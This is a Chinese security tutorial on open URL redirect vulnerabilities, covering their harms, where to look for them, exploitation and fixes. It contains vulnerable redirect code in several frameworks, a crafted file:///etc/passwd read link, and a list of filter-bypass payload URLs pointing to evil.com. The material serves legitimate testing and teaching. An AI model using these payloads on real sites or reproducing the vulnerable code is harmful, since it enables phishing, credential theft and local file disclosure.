# 1.8 URL Redirect漏洞

## 描述

由于应用越来越多的需要和其他的第三方应用交互，以及在自身应用内部根据不同的逻辑将用户引向到不同的页面，譬如一个典型的登录接口就经常需要在认证成功之后将用户引导到登录之前的页面，整个过程中如果实现不好就可能导致一些安全问题，特定条件下可能引起严重的安全漏洞。

对于URL跳转的实现一般会有几种实现方式：

* META标签内跳转
* javascript跳转
* header头跳转

通过以GET或者POST的方式接收将要跳转的URL，然后通过上面的几种方式的其中一种来跳转到目标URL。一方面，由于用户的输入会进入Meta，javascript，http头所以都可能发生相应上下文的漏洞，如xss等等，但是同时，即使只是对于URL跳转本身功能方面就存在一个缺陷，因为会将用户浏览器从可信的站点导向到不可信的站点，同时如果跳转的时候带有敏感数据一样可能将敏感数据泄漏给不可信的第三方。

譬如一个典型的登录跳转如下：

```php
<?php
      $url=$_GET['jumpto'];
      header("Location: $url");
?>
```

![](http://ww1.sinaimg.cn/large/007F8GgBly1g1kl966gb4j30zu0h8t9u.jpg)

此外，由于底层操作类库支持多种协议，如未做过滤或过滤不周也会产生安全漏洞。如：

> [http://wiki.secbug.net/login.php?link=file:///etc/passwd](http://wiki.secbug.net/login.php?link=file:///etc/passwd)

## 危害

利用URL跳转漏洞可以绕过一些常见的基于白名单的安全机制。如：

* 传统IM里对于URL的传播会进行安全校验，但是对于大公司的域名及URL将直接允许通过并且显示为可信的URL，而一旦该URL里包含一些跳转漏洞将可能导致安全限制被绕过。恶意用户可以通过这种方式将用户引入恶意页面进行钓鱼、诈骗等。
* 常见的一些应用允许引入可信站点（如youku.com）的视频，而判定视频来源是否可信的方式往往是通过检查URL是否是youku.com来实现，如果youku.com内含一个url跳转漏洞，将导致最终引入的资源属于不可信的第三方资源或者恶意站点，最终导致安全问题。

如：

* 豆瓣电台认证绕过及csrf防范策略绕过漏洞 &#x20;
* 支付宝某分站任意URL跳转
* 腾讯网址站URL任意跳转

URL跳转漏洞的危害并不只会影响到用户或其他网站。

当底层操作类库支持其他协议时，URL跳转漏洞可能导致本地的读取或网络信息被侦测等问题。如：

* curl库支持一些其他的协议，如不做限制，可使用file协议读取本地文件，使用telnet探测端口信息等。

如：

* 微博--微收藏多处任意文件读取漏洞

即使底层库不支持其他协议或者已对其他协议做了限制，如未限制网络边界也可能会产生问题。如：

* 可以利用http协议进行内网漫游等。

如：

* 我是如何漫游腾讯内部网络的
* 我是如何漫游搜狗和搜狐内部网络的

## 挖掘

漏洞通常发生在以下几个地方：

1. 用户登录、统一身份认证处，认证完后会跳转
2. 用户分享、收藏内容过后，会跳转
3. 跨站点认证、授权后，会跳转
4. 站内点击其它网址链接时，会跳转

常见的参数名：

```
redirect
redirect_to
redirect_url
url
jump
jump_to
target
to
link
linkto
domain
```

几种语句和框架版本常见的URL跳转代码如下，可用作白盒代码审计参考：

```
Java:
response.sendRedirect(request.getParameter("url"));

PHP:
$redirect_url = $_GET['url'];
header("Location: " . $redirect_url);

.NET:
string redirect_url = request.QueryString["url"];
Response.Redirect(redirect_url);

Django:
redirect_url = request.GET.get("url")
HttpResponseRedirect(redirect_url)

Flask:
redirect_url = request.form['url']
redirect(redirect_url)

Rails:
redirect_to params[:url]
```

在没有分清楚具体场景时，一味的堆积姿势常常是费力不讨好。总结完常见的漏洞场景，就可以根据总结情况，写个脚本，生成所有可能的payload，再放到工具(如burpsuite)里批量尝试，既省事，又不会人为遗漏。

## 利用方法

### 直接跳转

没做任何限制，参数后直接跟要跳转过去的网址就行：

> [https://www.xxx.com/redirect.php?url=http://www.evil.com/untrust.html](https://www.xxx.com/redirect.php?url=http://www.evil.com/untrust.html)

### 协议一致性

当程序员校验跳转的网址协议必须为https时(有时候跳转不过去不会给提示)：

> [https://www.xxxx.com/redirect.php?url=https://www.evil.com/untrust.html](https://www.xxxx.com/redirect.php?url=https://www.evil.com/untrust.html)

### 域名字符串检测欺骗

1. 有的程序员会检测当前的域名字符串是否在要跳转过去的字符串中，是子字符串时才会跳转

```php
<?php
$redirect_url = $_GET['url'];
if(strstr($redirect_url,"127.0.0.1") !== false){
    header("Location: " . $redirect_url);
}
else{
    die("Forbidden");
}
```

![](http://ww1.sinaimg.cn/large/007F8GgBly1g1km5x8u5uj30vu0lrju5.jpg)

京东实例

![](http://ww1.sinaimg.cn/large/007F8GgBly1g1km6y7x65j30ss09ggon.jpg)

1. 还有的会检测域名结尾是不是当前域名，是的话才会跳转，Django示例代码如下：

```
redirect_url = request.GET.get("url")
if redirect_url.endswith('landgrey.me'):
    HttpResponseRedirect(redirect_url)
else:
    HttpResponseRedirect("https://www.landgrey.me")
```

绕过：

[https://www.landgrey.me/redirect.php?url=http://www.evil.com/www.landgrey.me](https://www.landgrey.me/redirect.php?url=http://www.evil.com/www.landgrey.me) 或者买个xxxlandgrey.me域名，然后绕过:

[https://www.landgrey.me/redirect.php?url=http://xxxlandgrey.me](https://www.landgrey.me/redirect.php?url=http://xxxlandgrey.me).

03.可信站多次重定向绕过

利用已知可重定向到自己域名的可信站点的重定向，来最终重定向自己控制的站点。

一种是利用程序自己的公共白名单可信站点，如www.baidu.com，其中百度有个搜索的缓存链接比如[https://www.baidu.com/linkurl=iMwwNDM6ahaxKkSFuOG，可以最终跳转到自己网站，然后测试时：](https://www.baidu.com/linkurl=iMwwNDM6ahaxKkSFuOG%EF%BC%8C%E5%8F%AF%E4%BB%A5%E6%9C%80%E7%BB%88%E8%B7%B3%E8%BD%AC%E5%88%B0%E8%87%AA%E5%B7%B1%E7%BD%91%E7%AB%99%EF%BC%8C%E7%84%B6%E5%90%8E%E6%B5%8B%E8%AF%95%E6%97%B6%EF%BC%9A)

[https://www.landgrey.me/redirect.php?url=https://www.baidu.com/linkurl=iMwwNDM6ahaxKkSFuOG](https://www.landgrey.me/redirect.php?url=https://www.baidu.com/linkurl=iMwwNDM6ahaxKkSFuOG)

就可以跳转到自己站点了。

另一种类似，但是程序的跳转白名单比较严格，只能是自己域的地址，这时需要有一个目标其它域的任意跳转漏洞，比如[https://auth.landgrey.me/jump.do?url=evil.com，然后测试时：](https://auth.landgrey.me/jump.do?url=evil.com%EF%BC%8C%E7%84%B6%E5%90%8E%E6%B5%8B%E8%AF%95%E6%97%B6%EF%BC%9A)

[https://www.landgrey.me/redirect.php?url=https://auth.landgrey.me/jump.do?url=evil.com](https://www.landgrey.me/redirect.php?url=https://auth.landgrey.me/jump.do?url=evil.com)

### 畸形地址绕过

这一部分由于各种语言、框架和代码实现的不同，防护任意跳转代码的多种多样；导致绕过方式乍看起来很诡异，有多诡异？举三个案例：

案例一：这个案例 ，通过添加多余的"/"(%2F)符号，再对"."两次url编码成"%252E"绕过代码中对域名后".com"的切割， 构造类似

[https://landgrey.me/%2Fevil%2Ecom](https://landgrey.me/%2Fevil.com) 达到了任意URL跳转的目的。

案例二：这个案例，通过添加4个"/"前缀和"/.."后缀，构造类似

[https://landgrey.me/redirect.php?url=////www.evil.com/](https://landgrey.me/redirect.php?url=////www.evil.com/).. 进行了绕过。

案例三：这个案例，通过"."字符，构造类似

[https://landgrey.me/redirect.php?url=http://www.evil.com\\.landgrey.me](https://landgrey.me/redirect.php?url=http://www.evil.com\\.landgrey.me) 进行绕过。

手工测试时，主要结合目标对输入的跳转处理和提示，根据经验来绕过; 自动化测试时，通常是根据目标和规则，事先生成payload，用工具(如burpsuite)在漏洞点处自动发包测试;

URL跳转漏洞复杂的真实例子也比较难找。黑盒测试，经常是测试成功也不能确定到底是哪里出的问题。要达到绕过效果，主要涉及以下9个特殊字符：

```
";", "/", "\", "?", ":", "@", "=", "&", "."
```

一个“协议型”的网址示例：

[http://user:pass@testweb.com/path/;help.php?q=abc#lastpage](http://user:pass@testweb.com/path/;help.php?q=abc#lastpage)

10种bypass方式：

1.  单斜线"/"绕过

    [https://www.landgrey.me/redirect.php?url=/www.evil.com](https://www.landgrey.me/redirect.php?url=/www.evil.com)
2.  缺少协议绕过

    [https://www.landgrey.me/redirect.php?url=//www.evil.com](https://www.landgrey.me/redirect.php?url=//www.evil.com)
3.  多斜线"/"前缀绕过

    [https://www.landgrey.me/redirect.php?url=///www.evil.com](https://www.landgrey.me/redirect.php?url=///www.evil.com)

    [https://www.landgrey.me/redirect.php?url=////www.evil.com](https://www.landgrey.me/redirect.php?url=////www.evil.com)
4.  利用"@"符号绕过

    [https://www.landgrey.me/redirect.php?url=https://www.landgrey.me@www.evil.com](https://www.landgrey.me/redirect.php?url=https://www.landgrey.me@www.evil.com)
5.  利用反斜线"\\"绕过

    [https://www.landgrey.me/redirect.php?url=https://www.evil.com\www.landgrey.me](https://www.landgrey.me/redirect.php?url=https://www.evil.com\www.landgrey.me)
6.  利用"#"符号绕过

    [https://www.landgrey.me/redirect.php?url=https://www.evil.com#www.landgrey.me](https://www.landgrey.me/redirect.php?url=https://www.evil.com#www.landgrey.me)
7.  利用"?"号绕过

    [https://www.landgrey.me/redirect.php?url=https://www.evil.com?www.landgrey.me](https://www.landgrey.me/redirect.php?url=https://www.evil.com?www.landgrey.me)
8.  利用"\\"绕过

    [https://www.landgrey.me/redirect.php?url=https://www.evil.com\\\www.landgrey.me](https://www.landgrey.me/redirect.php?url=https://www.evil.com\\\www.landgrey.me)
9.  利用"."绕过

    [https://www.landgrey.me/redirect.php?url=.evil](https://www.landgrey.me/redirect.php?url=.evil)           (可能会跳转到www.landgrey.me.evil域名)

    [https://www.landgrey.me/redirect.php?url=.evil.com](https://www.landgrey.me/redirect.php?url=.evil.com)       (可能会跳转到evil.com域名)

    10.重复特殊字符绕过

    [https://www.landgrey.me/redirect.php?url=///www.evil.com//](https://www.landgrey.me/redirect.php?url=///www.evil.com//)..

    [https://www.landgrey.me/redirect.php?url=////www.evil.com//](https://www.landgrey.me/redirect.php?url=////www.evil.com//)..

### 其它绕过思路

1. 跳转到IP地址，而不是域名;
2. 跳转到IPV6地址，而不是IPv4地址;
3. 将要跳转到的IP地址用10进制、8进制、16进制形式表示;
4. 更换协议,使用ftp、gopher协议等;
5. 借鉴SSRF漏洞绕过的tricks;
6. CRLF注入不能xss时，转向利用任意URL跳转漏洞;

## 修复方案

理论上讲，url跳转属于CSRF的一种，我们需要对传入的URL做有效性的认证，保证该URL来自于正确的地方，限制的方式同防止csrf一样可以包括：

1、加入referer的限制，保证该URL的有效性，避免恶意用户自己生成跳转链接。

2、加入有效性验证Token，避免用户生成自己的恶意链接从而被利用（但是如果功能本身要求比较开放，可能会产生一定的限制）。

3、设置严格白名单及网络边界:功能要求比较开放的情况下，需要严格限定协议以及可访问的网络。
